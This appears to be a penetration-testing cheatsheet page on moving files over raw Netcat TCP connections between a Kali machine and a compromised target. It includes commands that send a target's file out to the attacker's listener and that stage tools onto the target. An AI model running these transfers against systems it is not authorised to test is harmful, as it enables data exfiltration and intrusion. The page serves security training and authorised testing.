Stream a file over a direct TCP connection

Needs: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

Kali receives

# Kali receives
nc -lvnp PORT > FILE

# The target sends
nc -nv LHOST PORT < /path/to/FILE

# The target receives
nc -lvnp PORT > /tmp/FILE

# Kali sends
nc -nv TARGET PORT < FILE

# If the listener rejects -p, use the OpenBSD-style form and check nc -h locally
nc -lvn PORT > FILE

Verify → Compare hashes and avoid mixing diagnostic text into the file stream.

If it fails → A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist. More detail ↓

If → then

A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format
A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination
One reachable pivot can connect to one internal TCP destination → Relay a single TCP service through a fixed forward
Needs: A bindable pivot listener, source-to-listener access and pivot-to-destination connectivity

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Stream a file over a direct TCP connection

USE WHEN: Only a raw TCP tool and a direct or forwarded connection are available
STARTING ACCESS: Verified command execution or authenticated remote access and a known network path
RESULT: A byte stream saved as a file and independently checked for integrity

Recognize the clue

When richer transfers are unavailable, inspect the exact TCP tool and draw sender, receiver and writable output destination.

nc -h
ls -ld /DESTINATION_DIRECTORY

SYNTHETIC EXAMPLE OUTPUT

Available client: Netcat implementation
Direction: sender -> receiver listener
Destination: writable

Means: A raw stream may move bytes only if roles and connection direction are correct; no integrity metadata is supplied.

Confirm: Confirm listener syntax, reachability, binary-clean I/O and a complete independent hash match.

After validation: The chosen stream finishes with matching bytes: use the saved artifact.
Ruled out in this context: The only available direction cannot reach the receiver: reject this stream route.
Still inconclusive: A connection with unknown termination/file size leaves transfer completeness unresolved.

Troubleshooting: A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.

Additional prerequisite checks

nc -h
ip route get TARGET

Netcat — stream a file when a direct TCP connection is possible

Retrieve a file from the target to Kali

Kali receives:

The target sends:

Send a file from Kali to the target

The target receives:

Kali sends:

If the listener rejects -p, use the OpenBSD-style form and check nc -h locally:

Netcat provides no authentication, encryption, filename metadata or integrity check. Confirm direction and compare hashes afterward.

Why it works

A raw stream carries no filename, authentication or integrity metadata. Terminal output and connection termination can corrupt or truncate the saved file.

Worked example · hypothetical

Observation: a raw transfer connects but the saved artifact is shorter. Test: compare size/hash and inspect sender termination behavior. Illustrative output: a repeated clean transfer matches the source. Interpretation: only the matching copy is suitable for execution.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗